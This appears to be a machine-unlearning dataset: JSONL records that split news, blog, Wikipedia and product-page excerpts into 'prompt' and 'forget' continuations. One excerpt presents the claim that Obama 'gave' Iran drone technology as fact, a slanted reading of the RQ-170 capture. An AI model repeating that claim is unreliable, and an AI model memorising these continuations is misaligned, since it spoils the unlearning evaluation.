{"prompt": "Photo: Micah TaylorElly Blue is on a monthlong Dinner & Bikes tour around the western U.S., along with Portland bike filmmaker Joe Biel and traveling vegan chef Joshua Ploeg. This is one of her thrice-weekly dispatches from the road about bicycle culture and economy. Read them all here. Minneapolis, Minn.: \u201cPortland is just an avenue in Minneapolis\u201d \u2014 or so says the sticker on the rear rack of the bike I brought with me on our Dinner & Bikes tour. The words are attributed to R.T. Rybak, mayor of Minneapolis, upon learning in 2010 that his city had stolen the", "forget": "crown of most bike friendly city in America from my hometown, Portland. There is, in fact, a Portland Ave. in Minneapolis \u2014 and it even has a bike lane, albeit an awkward one. (Among other things, it\u2019s on the left side of the street.) But I never understood the City of Lake\u2019s appeal to cyclists. Finally, this trip, I discovered what I\u2019d been missing. Laura Kling, the organizer of our Dinner & Bikes event here, showed me around. She runs the Grease Rag Ride & Wrench, a WTF (Women Trans Femme) night at a local bike project, and who calls herself \u201ca radical transportation nerd.\u201d I met Kling at a sort of freeway interchange of bike paths \u2014 the first indication that this city takes cycling seriously. We swooped down to the first trail, which runs below ground level in what used to be the city\u2019s rail system. Our first stop, a short way down the path, required a double-take \u2014 a bunch of cafe tables and bike racks, most in use, arranged next to the path, below street level and some distance from the nearest auto access. They belonged to a bike shop that was doing bustling business on a Sunday afternoon and, next door, a coffee shop. Minneapolis\u2019s Greenway bike trail system was begun in the 1990s, I was told, but has been getting a makeover and an upgrade in the last several years. Here\u2019s a quick flick just released by StreetFilms: I\u2019ve never been the biggest fan of riding on bike paths, especially ones shared with people walking, but Minneapolis is doing better than most with designing these trails: Most of the paths we rode were marked with lanes for bike travel in two directions, with a separate path for walking. It\u2019s a bold standard, but the"}
{"prompt": "There were some significant changes to Tesla\u2019s Autopilot leadership today. Earlier this year, Tesla\u2019s head of computer vision, David Nist\u00e9r, left to make high-definition maps at Nvidia after Tesla hired the creator of the Swift programming language, Chris Lattner, from Apple to lead the Autopilot software team. Just 6 months later, Lattner is no longer with Tesla and his responsibilities have been divided between Jim Keller, who was already the head of the Autopilot\u2019s hardware team, and a new hire. The new hire is Andrej Karpathy, the new head of AI and Autopilot Vision \u2013 first reported by Techcrunch. The", "forget": "scientist, who most recently was a research scientist at Elon Musk\u2019s OpenAI, is being described as \u201cone of the world\u2019s leading experts in computer vision and deep learning. It\u2019s not new for Musk to move high-level employees between his companies and it even happened with the Autopilot team before, like when Robert Rose, a former software director at SpaceX, ended up briefly leading the Autopilot team before the launch of version 7.0. Tesla sent us the following statement about Karpathy: \u201cAndrej Karpathy, one of the world\u2019s leading experts in computer vision and deep learning, is joining Tesla as Director of AI and Autopilot Vision, reporting directly to Elon Musk. Andrej has worked to give computers vision through his work on ImageNet, as well as imagination through the development of generative models, and the ability to navigate the internet with reinforcement learning. He was most recently a Research Scientist at OpenAI. Andrej completed his computer vision PhD at Stanford University, where he demonstrated the ability to derive complex descriptions of images using a deep neural net. For example, identifying not simply that there is a cat in a given picture, but that it is an orange, spotted cat, riding on a skateboard with red wheels on brown hardwood flooring (http://cs.stanford.edu/people/karpathy/main.pdf). He also created and taught \u201cConvolutional Neural Networks for Visual Recognition,\u201d the first and still leading deep learning course at Stanford.\u201d You know it\u2019s a good hire when even the competition agrees: And hires like this are why the other car companies don't have a chance. https://t.co/4UqEWs8ISK \u2014 comma ai (@comma_ai) June 21, 2017 The company also commented on Lattner\u2019s departure. A spokesperson sent us the following statement: \u201cChris just wasn\u2019t the right fit for Tesla, and we\u2019ve decided to make a change. We wish him the best.\u201d We have reached"}
{"prompt": "Christopher Perez, 23, of the 4800 block of West Fletcher Street, has been charged with a home invasion early Saturday that targeted a couple ages 84 and 81, police said Monday. View Full Caption Chicago Police CHICAGO \u2014 A 23-year-old man has been charged with a home invasion early Saturday that targeted a couple ages 84 and 81, police said Monday. At 9:30 a.m. Saturday, police officers in the 4700 block of West Barry Avenue saw Christopher Perez, 23, \"acting suspiciously,\" police said. Perez ducked behind a car and tossed a black object on the ground, which the officers later", "forget": "discovered to be a pouch full of jewelry, police said. RELATED: 'Punk Cowards' Attacking Elderly Residents In String Of NW Side Burglaries Believing the jewelry to be stolen, the officers started to arrest Perez, of the 4800 block of West Fletcher Street, but he resisted. The jewelry later was confirmed to be from a home invasion earlier that day in the 5800 block of West Wellington Avenue, and Perez was identified as the man who broke into the home, police said. He was charged with two counts of home invasion with a dangerous weapon, one count of resisting arrest and one count of theft. He also was wanted for a parole violation, police said. He was scheduled to appear in bond court Monday. Records from the Illinois Department of Corrections show Perez was released from prison in May 2016. He had been sentenced to 5\u00bd years in prison for a 2014 case for burglary and possession of stolen guns. He previously was sentenced to 3 years in prison for a 2011 robbery case. On Saturday, Supt. Eddie Johnson said police believed three of the four recent home invasions on the Northwest Side were related, though police had no further information Monday on whether Perez was a suspect in any of the other crimes. On Thursday night, an elderly couple was attacked and robbed in their Portage Park home. On May 19, a 78-year-old woman was badly beaten and robbed by a man while she cleaned her Irving Park home. Another attack occurred Tuesday night in the 4800 block of West Nelson Street, police said. In the Wellington Avenue home invasion, a man climbed into the couple's home through a back window at 1:19 a.m. He walked up to the 84-year-old man in the living room and said he had a"}
{"prompt": "Advertisement Advertisement Over the last two months, GOP Texas Sen. Ted Cruz has been forced to deal with various allegations against him and his campaign. With less than three months until the Republican National Convention, a new conspiracy has been released, this time against his father. Conspiracy Cruz Last month, the National Enquirer broke a story claiming that Cruz allegedly had affairs with at least five separate women, including former campaign staffers. Cruz quickly denied the allegations, which quickly faded away over the next week. Now a new claim has been released, this time targeting Cruz's father, Rafael Cruz, allegedly", "forget": "linking him to the assassination of former President John F. Kennedy, as reported by The American Intelligence Report on April 17. Advertisement WAS CRUZ\u2019S FATHER LINKED TO THE JFK ASSASSINATION? https://t.co/acN2jQQm14 pic.twitter.com/FFwwZLuTzy \u2014 Kristan T. Harris (@KristanTHarris) April 17, 2016 The site notes that Rafael Cruz Sr. was in New Orleans and Dallas shortly before Kennedy was assassination on November 22, 1963. The elder Cruz married his first wife, Julia Ann Gara, following his graduation from the University of Texas in 1959. The couple moved from Dallas to New Orleans three years later in 1962. The claims of a conspiracy are based on a photo of alleged Kennedy assassin Lee Harvey Oswald standing with a man that the site claims is Cruz. The American Intelligence Report, via the Wayne Madsen Report, claims that Oswald hired Cubans to help distribute \"Hands off Cuba\" propaganda in New Orleans during the summer of 1963. In a photo released by the site, Oswald can be seen standing next to a man who looks similar to Cruz. Advertisement Top Videos of the Day Going even further, the report states that a \"source\" confirmed that it was Rafael Cruz in the photograph, and that \"there is a strong reason to believe that Cruz was associated with Central Intelligence Agency\u2019s anti-Castro operations.\" Conspiracy debunked There have been hundreds of conspiracy theories about the murder of President Kennedy, with some having legitimate claims to contradict the findings of the Warren Commission. However, while some theories deserve investigation, others have been proven false, or to be downright silly. Snopes: Was Ted Cruz's Father Linked to the JFK Assassination?: Disreputable web site posits a link between Te... https://t.co/qEIuNjPEl2 \u2014 Skeptic Network (@SkepNet) April 17, 2016 Just hours after the report of Cruz being linked to Oswald and the JFK assassination,"}
{"prompt": "Gnostics, Gnostic Gospels, & Gnosticism Gnostics, Gnostic Gospels, & Gnosticism A one-sentence description of Gnosticism: a religion that differentiates the evil god of this world (who is identified with the god of the Old Testament) from a higher more abstract God revealed by Jesus Christ, a religion that regards this world as the creation of a series of evil archons/powers who wish to keep the human soul trapped in an evil physical body, a religion that preaches a hidden wisdom or knowledge only to a select group as necessary for salvation or escape from this world. The term \"gnostic\" derives", "forget": "from \"gnosis,\" which means \"knowledge\" in Greek. The Gnostics believed that they were privy to a secret knowledge about the divine, hence the name. (Huxley coined \"agnosticism\" on the basis that all knowledge must be based on reason. We cannot rationally claim to have access to knowledge that is beyond the powers of the intellect.) There are numerous references to the Gnostics in second century proto-orthodox literature. Most of what we know about them is from the polemic thrown at them by the early Church Fathers. They are alluded to in the Bible in the pastorals (spurious Paulines of 1 Timothy, 2 Timothy, and Titus), for example 1 Tm 1:4 and 1 Tm 6:20, and possibly the entirety of Jude. Ignatius of Antioch writes against them as well as Docetism, a doctrine closely related to Gnosticism that stated that Christ was pure spirit and had only a phantom body. Second Clement is a document aimed at refuting early second century Gnosticism. Marcion was the most famous of the Gnostics, and he established a \"canon\" of the Pauline epistles (minus the pastorals) and a \"mutilated\" Luke (presumably considered so because it lacked proof-texts such as Lk 22:43-44). Justin Martyr mentioned him c. 150 CE, and Irenaeus and Tertullian wrote against him extensively in the late second century (in Against Heresy and Against Marcion, respectively). Besides Marcion, other important Gnostics were Basilides and Valentinus. Some Gnostic documents are the Gospel of Truth, the Letter to Rheginus, Treatise on the Three Natures, Apocalypse of Adam, the Gospel of Matthias, Gospel of Philip, Acts of Peter, and Acts of Thomas. Although the Gnostics were prolific writers, most of their works have been burnt or lost in favor of proto-orthodox writings (and known only through patristic references). Some scholars have theorized that Gnosticism has its"}
{"prompt": "?GoBots are the Rodney Dangerfields of \u201980s toys: they get no respect\u2026 and they\u2019re completely dead and never coming back. They\u2019ve never been able to escape the reputation of being low-rent Transformers knockoffs, despite hitting U.S. toy shelves first and being a popular line that outlasted many other \u201980s toylines. Nerdy historians have debated exactly why GoBots sucked for years. Some think it was because the Hanna-Barbera Challenge of the GoBots cartoon was apparently written for particularly slow 4-year-olds. Others think it was because the toys provided almost no information about the characters kids were buying, so kids never got", "forget": "as emotionally attached as they did to their Optimus Prime. It might even be that some GoBots were so simple that they transformed by just folding in half. But, whatever the exact reason was for their suckage, GoBots don\u2019t have a tenth of the nostalgic appeal of Transformers and we certainly aren\u2019t going to see them on the big screen peeing on John Turturro any time soon. But that doesn\u2019t mean they weren\u2019t sometimes occasionally interesting. Here are the eight instances of them being interesting we could find. 8) They\u2019re Not Actually Robots ?While you\u2019d assume that GoBots are actually robots by the fact that their slogan \u201cMighty Robots, Mighty Vehicles,\u201d it turns out GoBots are actually part meatbag. Yep, the Challenge of the GoBots cartoon established that they were originally organic aliens identical to humans, but after an asteroid collided with Gobotron, they were forced to put their brains into robot bodies (why they put them in bodies that transformed into limousines and dune buggies is anyone\u2019s guess). The cartoon even introduced two GoBots who had been put into cryogenic suspension before falling prey to the disease who still had most of their fleshy bits. So, it should be \u201cMighty Cyborgs, Mighty Vehicles\u201d\u2026 although the \u201cmighty\u201d part is up for debate. 7) The Cartoon Was Written by Putzie from Grease ?Like all \u201980s shows, there were a bunch of freelance writers that contributed to the simplistic mess that was Challenge of the GoBots, but 22 episodes were written by Kelly Ward, who is best (or only) known for playing the blonde T-Bird in the movie Grease. Ward was also associate story editor for the series, as well as the voice of Fitor (above). He stopped acting after the movie Rock Lords: War of the Rock Lords (can you ever"}
{"prompt": "There\u2019s something about secrecy and superheroes \u2014 even when it\u2019s a local father and son caped crusader duo and their photo has gone viral after a recent Reddit posting. They don\u2019t want to be identified. Not only would it interfere with ongoing caped crusading, but it would hurt the privacy of the superheroes\u2019 respective wife and mom and the baby sister in the family. The latter also is occasionally seen draped with her own wee cape, courtesy of her 3-year-old big brother. The father and son caped-crusaders also wear matching Star Wars shirts and superhero underwear. ( Supplied ) Tiny", "forget": "capes, made from washcloths, have even been known to appear on shampoo bottles in the family bathtub, courtesy of the smallest superhero in the Toronto family whose name starts with an \u201cF,\u201d as emblazoned on the back of his cape. Her son \u201cadores superheroes and capes\u2019\u2019 and puts capes \u201con everything,\u2019\u2019 says his mom, an amateur photographer who took the photo of him and his dad at a local hardware store, while walking behind, holding the baby. She thought the photo was cute and posted it on Reddit. Article Continued Below \u201cI was just looking to provide a few people with a laugh. Then we went tobogganing and to a friend\u2019s house for dinner. When I came home I checked my computer and saw that there were thousands of hits and comments.\u2019\u2019 A number of media outlets have also reported on the photo and its popularity. Because her son likes to play superhero with his pals, as well as his dad, his mom also made a slew of small capes for friends, with their initials sewn on back. Since the baby was born last October and has kept mom busy, father and son have been spending a lot of time together. After his mom made him a cape for his third birthday, \u201cF\u2019\u2019 asked where his dad\u2019s cape was. So his mom whipped up an adult-sized one, which is worn at home and sometimes on outside excursions, like the one to the hardware store. Father and son also wear matching Star Wars shirts and superhero underwear. The superhero\u2019s mom is happy about the photo \u201cgoing viral because it seems to have provided so many people with a smile.\u2019\u2019 She\u2019s decided to donate the now-famous photo to SickKids hospital to be used for charity purposes or wall decoration. In addition, friends"}
{"prompt": "Content originally published at iBankCoin.com The more pertinent question is, since when did Iran have a drone program? Ah, that dates back to 2011, when President Obama literally gave Iran U.S. drone technology, during the RQ 170 incident. I know, you think I'm making this up. Why would Obama do anything at all for the Persians, stemming from giving them drone technology to removing sanctions, to paying them billions for the release of US hostages? You'd have to ask him. But I do know this. Source: Wikipedia: On 12 December 2011, U.S. administration asked Iran to return the captured U.S.", "forget": "drone.[27] The day before, on 11 December, General Salami stated that \"no nation welcomes other countries' spy drones in its territory, and no one sends back the spying equipment and its information back to the country of origin.\"[28] On 13 December 2011, Defence Minister of Iran, dismissed the request and said \"Instead of apologising to the Iranian nation, it is brazenly asking for the drone back.\" And the ministry spokesman, Mehmanparast, stated that \"it seems he [Obama] has forgotten that Iran\u2019s airspace was violated, spying operations were undertaken, international laws were violated and that Iran\u2019s internal affairs were interfered with. ... Instead of an official apology and admitting to this violation, they are making this request.\"[29] Former U.S. Vice President Dick Cheney criticised Obama's decisions on the drone, saying that, after the aircraft went down, the president should have ordered an air strike within Iran: \"The right response to that would have been to go in immediately after it had gone down and destroy it. You can do that from the air ... and, in effect, make it impossible for them to benefit from having captured that drone.\" Instead, \"he asked nicely for them to return it, and they aren't going to\".[30] On 17 January 2012, an Iranian company said it would send miniature, pink, toy versions of the captured drone to President Obama as a response to the request for sending the drone back. On 10 December 2011, Iran announced that it intended to carry out reverse engineering on the captured RQ-170 Sentinel stealth aircraft.[6] In April 2012, the Army of the Guardians of the Islamic Revolution claimed to have succeeded in extracting the entirety of the data collected by the drone and are currently in the process of building a replica of the aircraft.[33] Iran claimed to have"}
{"prompt": "Authorities in Bahrain, which has been rocked by protests for two years, have voiced \"dismay\" over an assessment by the US State Department of the rights situation in the kingdom. \"The report includes texts which are totally far from the truth, adopting a manner that fuels terror and terrorists targeting Bahrain's national security,\" state news agency BNA late on Wednesday quoted government spokeswoman Samira Rajab as saying. The strategic tiny kingdom of Bahrain, home to the US Fifth Fleet, has been hit since February 2011 by a wave of Shia-led protests calling for the ouster of Prime Minister Sheikh Khalifa", "forget": "bin Salman al-Khalifa in office since 1971. A US State Department report released on April 19 said that \"the most serious human rights problems included citizens' inability to change their government peacefully; arrest and detention of protesters on vague charges, in some cases leading to their torture in detention.\" It criticised the \"lack of due process in trials of political and human rights activists, medical personnel, teachers, and students, with some resulting in harsh sentences.\" The report claimed that \"discrimination on the basis of gender, religion, nationality, and sect persisted, especially against the Shia population\" which makes up a majority in Bahrain, ruled by the Sunni Al-Khalifa dynasty. Rajab \"deplored the report for lacking objectivity, totally siding with the terrorists who seek to sow chaos in the whole region.\" Bahrain refers to protesters who clash frequently with police forces in Shia villages as \"terrorists\" it claims are backed by Shia-majority Iran. The kingdom \"reiterated full commitment to comply with the human rights principles and standards in confronting terror which targets Bahrain and innocent civilians,\" said Rajab. The State Department report acknowledged that \"some protesters engaged in lethal acts of violence against security forces, including the use of improvised explosive devices, Molotov cocktails, and other improvised weapons.\" Rajab in her statement \"urged the US State Department to help countries protect their national security and back their stability, the way the US itself does in the war it is waging on global terror.\" UN torture investigator trip cancelled Meanwhile, the UN torture investigator said Bahrain had effectively cancelled a trip he had planned to the Gulf Arab state. Juan Mendez, the UN Special Rapporteur on Torture, said in a statement it was the second time a scheduled visit had been postponed at short notice. His trip had been set for May 8-15."}
{"prompt": "Get Ready For the Kickoff! Beyond the Sideline Football Announced Last week's Out of the Park Baseball 15 announcement wasn't all we had planned - Today, just in time for this Sunday's big game between the Seahawks and the Broncos, we're unveiling the latest addition to our excellent lineup of sports management games - Beyond the Sideline Football. BTS Football is being created by lead developer Francis Cole, who previously worked on Football Manager at Sports Interactive and joined Out of the Park Developments in October. He is a lifelong football fan and even created a football simulation as part", "forget": "of his college studies. \"I've known Francis since my days working at Sports Interactive,\" says OOTP Developments co-founder Markus Heinsohn. \"He is a tremendously talented programmer who knows American football as well as anyone I've ever met and he has been working on his own football gaming projects for years. I am convinced that his skills, combined with our experience creating award-winning sports management games, will result in an amazing American football game which will bolster our product lineup for years to come.\" \"Having known Markus from our time at Sports Interactive together, and playing OOTP every year since, I was delighted at the opportunity to bring my football game to OOTP Developments,\" says Beyond the Sideline lead developer Francis Cole. \"Beyond the Sideline will be an amazing American football GM game, thanks to technology such as FaceGen, releasing on PC/Mac/Linux, and having an existing code base that enables players to easily customize their leagues.\" Beyond the Sideline Football will reach Beta in about a year, with a shipping date sometime in 2015. The game will offer these features: A realistic modern day American football experience with all current rules and regulations. All 32 real American football teams with their real players and current rosters. A realistic 2D game engine that represents all the action on the field, with the ability to call plays and watch them unfold, complete with the roar of the crowd and other sound effects. You dictate the action on the field: Set depth charts and develop strategies around your preferred style of play. FaceGen support allows realistic images of all players. A complete box score for every game played in the league during its history, so you can always look back on thrilling victories and agonizing defeats. The ability to sim decades into the future"}
{"prompt": "Things break down, whether due to accidents, negligence, or just plain wear and tear. Instead of shelling out for an expensive repair or replacement, though, you can often fix the problem yourself for much less. Here are 10 repairs you should never pay for. Image from Refat/Shutterstock 10. Bicycles Bicycles are quick to break down, especially if you don't treat them properly, but that doesn't mean you need to take it in for repairs every few months. Most of the fixes you can easily do yourself at home. Check out The Bicycle Tutor for instructions on how to perform pretty", "forget": "much any fix you could ever need, and if you need a repair stand, you can always make one of those for yourself too. Advertisement 9. Headphones Advertisement It always seems inevitable that your headphone cords are going to start fraying, the 'buds will detach themselves, and you'll be stuck buying another pair. Instead of buying new 'phones, though, you can easily fix those stripped wires with a bit of Plasti Dip. Alternatively, if it's the actual connector that's causing problems, you can replace that yourself in a jiffy as well. And, in the future, make sure you wrap your headphones correctly instead of just waiting for the inevitable\u2014we've featured a ton of different ways to do this, so there's no excuse to just let them get ruined! 8. Plumbing Advertisement There are certainly times where you want a licensed plumber on the job, but you don't need to call them for every little clog and leak you get. We've shown you how to unclog almost any drain, from the sink to the shower to the toilet. If you're feeling in the mood for a MacGyver trick, we've also mentioned how to fix your toilet with aluminum foil, use food coloring to diagnose a leak, use a stethoscope to locate a leak, and how to make your own homemade Drano without the harsh chemicals. How to Unclog a Drain There are few more annoying home repairs that demand your immediate attention like clogged drains.\u2026 Read more Read 7. Clothing Finding the perfect tailor is great for your nice suits and pants, but when it comes to the minor sewing projects, you shouldn't have to bother them\u2014just fix them yourself at home. Learn the basics of sewing and you'll be ready to take on all sorts of DIY clothing projects\u2014from sewing"}
{"prompt": "One of the most iconic symbols of American freedom and independence is the Liberty Bell. Located in Philadelphia, Pennsylvania, the bell is currently housed in the Liberty Bell Center in Independence National Historical Park and remains a symbol of the nation in the modern era. Today, the 1 oz Liberty Bell Stackable Silver Round is available to purchase from JM Bullion. Coin Highlights: Ships to you in an individual plastic flip, mint tube of 20, or box of 500 rounds. Honors the Liberty Bell! Contains 1 Troy oz of .999 pure silver. Stackable design! Liberty Bell image on the obverse.", "forget": "Privately minted in the United States. The Liberty Bell, a symbol of America, was actually commissioned by the British in 1752. In a biblical references to the Book of Leviticus, the bell was commissioned to feature lettering that read Proclaim LIBERTY throughout all the land unto all the inhabitants thereof. When the bell first arrived in Philadelphia and was run for the very first time, it suffered a crack. Twice, the Liberty Bell was recast in Philadelphia by local workmen John Pass and John Stow, whose last names still appear on the bell today. The Liberty Bell was originally used to summon lawmakers to legislative sessions in the city and alert citizens to meetings and proclamations. Each 1 oz Liberty Bell Silver Round available here today is a stackable product from SilverTowne. The rounds have alternating raised and lowered ridges along the outer rim which makes it possible to stack your Liberty Bell Stackable Silver Rounds with ease, ensuring a safe and secure stack. On the obverse of the 1 oz Liberty Bell Stackable Silver Round is the image of the Liberty Bell itself, which is rumored to have been rung when the Second Continental Congress announced a vote for American independence on July 4, 1776. In reality, the bell was likely rung to celebrate the call for independence on July 8, 1776 along with many other bells throughout the colonies to announce the American movement for independence. All 1 oz Liberty Bell Stackable Silver Rounds are a product of SilverTowne. A private minting facility located in Indiana, it is one of the largest and most well respected private facilities in the United States. The mint originally started business in 1949 as a coin dealer with a small location. Please dont hesitate to reach out to JM Bullion if you"}
{"prompt": "Joseph Erlanger (January 5, 1874 \u2013 December 5, 1965) was an American physiologist who is best known for his contributions to the field of neuroscience. Together with Herbert Spencer Gasser, he identified several varieties of nerve fiber and established the relationship between action potential velocity and fiber diameter. They were awarded the Nobel Prize in Physiology or Medicine in 1944 for these achievements. Biography [ edit ] Erlanger was born on January 5, 1874, at San Francisco, California. His family was Jewish and his parents both immigrated from the Kingdom of W\u00fcrttemberg, Germany and met in California during the Gold", "forget": "Rush. Joseph was the sixth of seven children born to the couple. He completed his Bachelor of science in Chemistry from the University of California, Berkeley in 1895. He then completed his M.D. in 1899 from the Johns Hopkins School of Medicine in Baltimore, Maryland, where he finished second in his class. Upon graduating, Erlanger interned at Johns Hopkins Hospital under William Osler and worked in a physiology laboratory. Erlanger also gave lectures at the school on digestion and metabolism. Erlanger also had an interest in cardiology, specifically the way that excitation transferred from the atrium to the ventricle and researched with Arthur Hirschfelder. Erlanger developed and patented a new type of sphygmomanometer that could measure blood pressure from the brachial artery. While working at Johns Hopkins in 1901, Erlanger published a paper on the digestive systems of canines. This paper caught the attention of William Henry Howell, a physiology professor at Johns Hopkins. Howell recruited Erlanger as an Assistant Professor. Erlanger was promoted to Associate Professor some time before 1906. In 1906, Erlanger accepted a position as the first chair of physiology at the University of Wisconsin in Madison. In 1910, he left to take a position as professor at Washington University in St. Louis; the St. Louis position offered Erlanger more funding for his projects. Herbert Spencer Gasser, Erlanger's former student at Wisconsin, joined Erlanger's laboratory soon after the move. During World War I, the pair contributed to the research effort examining the effects of shock. As part of this work, Erlanger was able to produce heart block in an animal model by clamping the bundle of His and tightening it.[4] Together, they managed to amplify the action potential of a bullfrog sciatic nerve in 1922 and published the results in the American Journal of Physiology. It is"}
{"prompt": "8:58 AM - 1st floor - I arrive to work. Hayley picked me up because I knew I'd be getting drunk today, and I would never get behind the wheel of a car while intoxicated. A boat, maybe. A plane, damn right. But a car? Please. I'm not a daredevil. 9:09 AM - 1st floor - I get a sausage biscuit from Starbucks. I'm not trying to start puking at 11 AM just because I drank on an empty stomach. Oh, and thanks for the $12 sausage biscuit, Starbucks. You Starfucks. 9:33 AM - 1st floor - I put 3", "forget": "shots worth of Jameson into my coffee, because any coffee with two shots or less is regular coffee. I also don't want to get too drunk too quickly (this notion goes to shit). So far Elie is none the wiser, and my deliciously evil plan is budding beautifully. Drinks so far: 3 shots of whiskey 9:54 AM - 1st floor - I'm halfway done with my Irish coffee. I'm already feeling a bit frisky. O'blivious McUnobservant over here still has no idea what's going on, and he isn't even a tiny bit drunk. That's called a \"lose-lose\" scenario. 10:00 AM - 1st floor - I snap a selfie of Elie's butt (or lack thereof) and myself. Whether these photos end up for work or for pleasure...well, frankly, that's none of your business. But between you and me? Pleasure. 10:27 AM - 1st floor - My Irish coffee is really kickin' in now. I'm definitely not drunk, but I'm teetering on buzzed. I see a Pringles can, and my huge brain and I come up with an idea. It still has chips in it, but the flavor is Serrano Ham aka warm ocean poop. I empty the chips and slip my PBR into the canister, right before Elie shows up. Close call. 11:07 AM - 1st floor - Elie is one of those weirdos with a standing desk, conveniently set up right behind me. It worries me, and my reasoning is twofold: 1) I don't like him lurking behind me, it makes me feel uncomfortable, and we all know that he's probably staring at my ass. Perv. Well, I guess we're even; 2) he can turn around at any time and watch what I'm doing and I would never know. Thankfully I had Pete, the wise Sancho Panza to my moronic"}
{"prompt": "Loun\u00e8s Matoub (Kabyle: Lwennas Me\u025b\u1e6dub; Berber languages: \u2d4d\u2d61\u2d3b\u2d4f\u2d4f\u2d30\u2d59 \u2d4e\u2d3b\u2d44\u2d5c\u2d53\u2d31 or \u2d4e\u2d44\u2d5f\u2d53\u2d31 \u2d4d\u2d53\u2d4f\u2d49\u2d59; Arabic: \u0645\u0639\u0637\u0648\u0628 \u0644\u0648\u0646\u0651\u0627\u0633\u200e (January 24, 1956 \u2013 June 25, 1998)) was a famous Algerian Berber singer, poet, thinker and mandole player who was a prominent advocate of the Berber cause, human rights and secularism in Algeria throughout his life. Matoub was reviled by most of the Muslim population in Algeria for his La\u00efc political and atheist views and the alleged blasphemy of some songs (like Allahu Akbar) along with his militant advocacy of Berber rights,[1] so he was unpopular among both warring parties during the Algerian Civil War.", "forget": "His assassination, in circumstances which remain unclear, provoked violent riots in Kabylie. Berber Algerians still accuse the Algerian government of killing Matoub Loun\u00e8s, but some of the Algerian government's figures accused the Islamist terrorists of this crime. Early life [ edit ] Lounes Matoub was born on 24 January 1956 in the village of Taourirt Moussa in Algerian Kabylie. When he turned 9, he built his first guitar from an empty car oil can and composed his first songs as a teenager. His political and cultural identity was awakened by armed confrontations between Kabyles and government forces in 1963\u20131964. In 1968, the Algerian government introduced a policy of Arabization in the education system. Matoub reacted by skipping school; his memoirs recall: \"We had to give up Berber and reject French. I said no! I played hooky in all my Arabic classes. Every class that I missed was an act of resistance, a slice of liberty conquered. My rejection was voluntary and purposeful.\"[2] By 1975, he had abandoned formal education. He left for France in search of work. Musical career [ edit ] Loun\u00e8s Matoub with his Algerian mandole in 1975. He was an Algerian singer of Kabyle music. Matoub began his singing career under the patronage of the established singer Idir. He recorded his first album Ay Izem (The Lion) in 1978; it was a phenomenal success. He went on to record 36 albums, as well as writing songs for other artists. He gave his first major concert in April 1980, at the time of the \"Berber Spring\" protest movement in Kabylie. His music mixes Algerian Andalucian Chaabi orchestration with politicized Berber (Tamazight) lyrics, and covers a broad variety of topics including the Berber cause, democracy, freedom, religion, Islamism, love, exile, memory, history, peace and human rights. Unlike the Amazigh"}
{"prompt": "The Pac-12 has announced its first- and second-team all-conference squads and postseason awards for 2013. Pac-12 Offensive Player of the Year Ka'Deem Carey was the only unanimous first-team pick. Mark J. Rebilas/USA TODAY Sports Arizona running back Ka'Deem Carey has been named the league's offensive player of the year. Arizona State defensive lineman Will Sutton joins an elite fraternity, earning his second straight Pat Tillman Defensive Player of the Year award. Washington's Steve Emtman is the only other player to win the league's defensive player of the year award in back to back years (1990-1991). UCLA's Myles Jack earned freshman", "forget": "of the year for both offense and defense with his 70 tackles as a linebacker and seven touchdowns as a running back. This is the first time since the awards were introduced in 2008 that the same player has won both sides. Arizona State coach Todd Graham is the league's coach of the year for guiding the Sun Devils to a conference record of 8-1 and winning the South Division. The Sun Devils host Stanford this weekend in the Pac-12 championship game. The team is selected by the Pac-12 head coaches. Offensive player of the year: Ka'Deem Carey, RB, Arizona Pat Tillman Defensive Player of the Year: Will Sutton, DE Arizona State Freshman Offense and Defensive Player of the Year: Myles Jack, RB/LB, UCLA Coach of the Year: Todd Graham, Arizona State First team offense QB Marcus Mariota, So., Oregon (2) RB Ka'Deem Carey, Jr., Arizona (2) RB Bishop Sankey, Jr., Washington WR Brandin Cooks, Jr., Oregon State WR Paul Richardson, Jr., Colorado TE Chris Coyle, Grad., Arizona State OL Evan Finkenberg, Grad., Arizona State OL Hroniss Grasu, Jr., Oregon (2) OL Marcus Martin, Jr., USC OL Xavier Su'a-Filo, Jr., UCLA (2) OL David Yankey, Sr, Stanford (2) First team defense DL Ben Gardner, Sr., Stanford DL Trevor Reilly, Sr., Utah DL Will Sutton, Sr., Arizona State DL Leonard Williams, So., USC LB Anthony Barr, Sr., UCLA (2) LB Trent Murphy, Sr., Stanford (2) LB Shayne Skov, Sr., Stanford DB Deone Bucannon, Sr., Washington State DB Alden Darby, Sr., Arizona State DB Ifo Ekpre-Olomu, Jr., Oregon DB Robert Nelson, Sr., Arizona State DB Ed Reynolds, Sr., Stanford (2) First team specialists PK Zane Gonzalez, Fr., Arizona State P Tom Hackett, So. Utah RS Ty Montgomery, Jr., Stanford ST Soma Vainuku, So. USC Second team offense QB Taylor Kelly, Jr., Arizona"}
{"prompt": "New York Comic Con is less than a week away, baby! As a professional at surviving the incredible alternate universe that is comic con, I will be your guide to make the most of this years\u2019 experience. I will help you get the cheapest merchandise, the most free goodies and have Galactus-sized fun! 9 Things You Need To Know for NY COMIC CON Buy Sunday Dealers will sell their comics and comics merchandise much cheaper on Sunday to get rid of their stock. When the comic con is winding down, they do not want to carry boxes and boxes of", "forget": "merchandise back home. They want to make as much money as they can at the last second (much of their merchandise is back stock anyway, especially the graphic novels). The first few days they charge top dollar, the last day it is \u201cEverything must go!\u201d Walk around the convention floor during the last hour and you\u2019ll find goods that are 75 to \u201c90% off!\u201d Only buy your must-have books the first few days, otherwise, wait \u2018til Sunday. I have missed out on books in the past because they sold the days prior, but normally I leave with five hundred dollars\u2019 worth of books for a hundred or less. Negotiate Prices The entire convention you can try to haggle prices with the dealers (not the major comic company\u2019s exclusives, just dealers). Unless you have your eye on key issues, which they probably want to either sell for top dollar or bring home with them, then you can try to get a better price. I recommend bringing cash because the second dealers see a bunch of 20 dollar bills or higher they are less likely to refuse lower offers. Make Sure You Meet Stan Lee Sure, meeting Stan Lee costs a crap load of money (around $100 \u2013 $200), but the dude is 90 years old and will not be around forever. Stan Lee has historically been an insane workaholic who appears at most major cons, but he has been cutting down his convention appearances, lately. Purchase a photo op with Lee, it is so worth it. In the minute you are with him, he will say some life changing statement to you that you will remember for the rest of your life. My awesomely amazing story: Two years ago, Stan Lee asked me how I was doing. I said wonderful. He"}
